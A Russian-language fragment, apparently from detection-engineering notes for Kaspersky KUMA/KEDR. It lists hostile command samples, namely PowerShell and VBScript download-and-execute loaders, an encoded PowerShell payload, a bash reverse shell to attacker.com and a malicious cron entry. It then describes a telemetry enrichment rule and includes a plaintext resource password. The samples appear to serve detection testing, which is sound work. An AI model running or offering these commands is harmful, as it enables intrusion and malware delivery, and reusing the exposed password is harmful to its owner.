стандартных команд $cmd = New-Object System.Net.WebClient; $cmd.DownloadFile("http://evil-some.com/payload123.exe", "C:\path\to\payload.exe") Обратный Shell (доступ через бэкдор) bash -i >& /dev/tcp/attacker.com/4444 0>&1 Скрытие вредоносных заданий Cron echo "*/5 * * * * curl bad.site/payload.sh | bash" >> /var/spool/cron/root Полезная нагрузка с загрузкой и выполнением через VBScript cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://example.com:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\ny.vbs" && "%temp%\ny.vbs" Вредоносная полезная нагрузка на VBScript с загрузкой и выполнением из веба cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://example.com:5506/wk.vbs",0:h.Send:Execute h.ResponseText > "%temp%wk.vbs" && "%temp%wk.vbs" Обфусцированная PowerShell-полезная нагрузка с загрузкой и выполнением Выполняйте команду только в изолированной среде, она является реальным примером powershell -wind mi -Enc JwBhACcALAAnAHoAJwB8ACUAewAuACcAaQBlAHgAJwAoACgAKAAiAHcAaQB3AHIAbQAgADcANgAzADYAMwA4ADEAOQAxAC8AbABvAG0ALwAkAF8ALgBnAHcAaQBmAHwAdwBpAHcAZQB3AHgAIgApAC4AcgBlAHAAbABhAGMAZQAoACcAdwAnACwAJwAnACkAKQApAH0A Загрузчик VBScript в Windows через curl cmd /c "curl -s http:/example.com:5506/dd.vbs -o %temp%dd.vbs >nul && start /b wscript.exe //B //E:VBScript %temp%dd.vbs && exit" cmd /c "curl -s http:/example.com:5506/dd.vbs -o %temp%dd.vbs >nul && start /b wscript.exe //B //E:VBScript %temp%dd.vbs && exit" Обогащение телеметрии KEDR 7.1 ссылкой на алерт Скорее всего есть нюансы с распределенными инсталляциями KATA/KEDR. Не проверялось. Правило работает аналогично правилу обогащения [OOTB] KATA alert.  Правило:  правило обогащения телеметрии KEDR.kuma Пароль на ресурс: q123123Q!KLaapt-M4 1. Добавить правило обогащения на коллектор, который собирает телеметрию KEDR. 2. Найти интересующее событие в KUMA 3. Перейти по ссылке в KATA/KEDR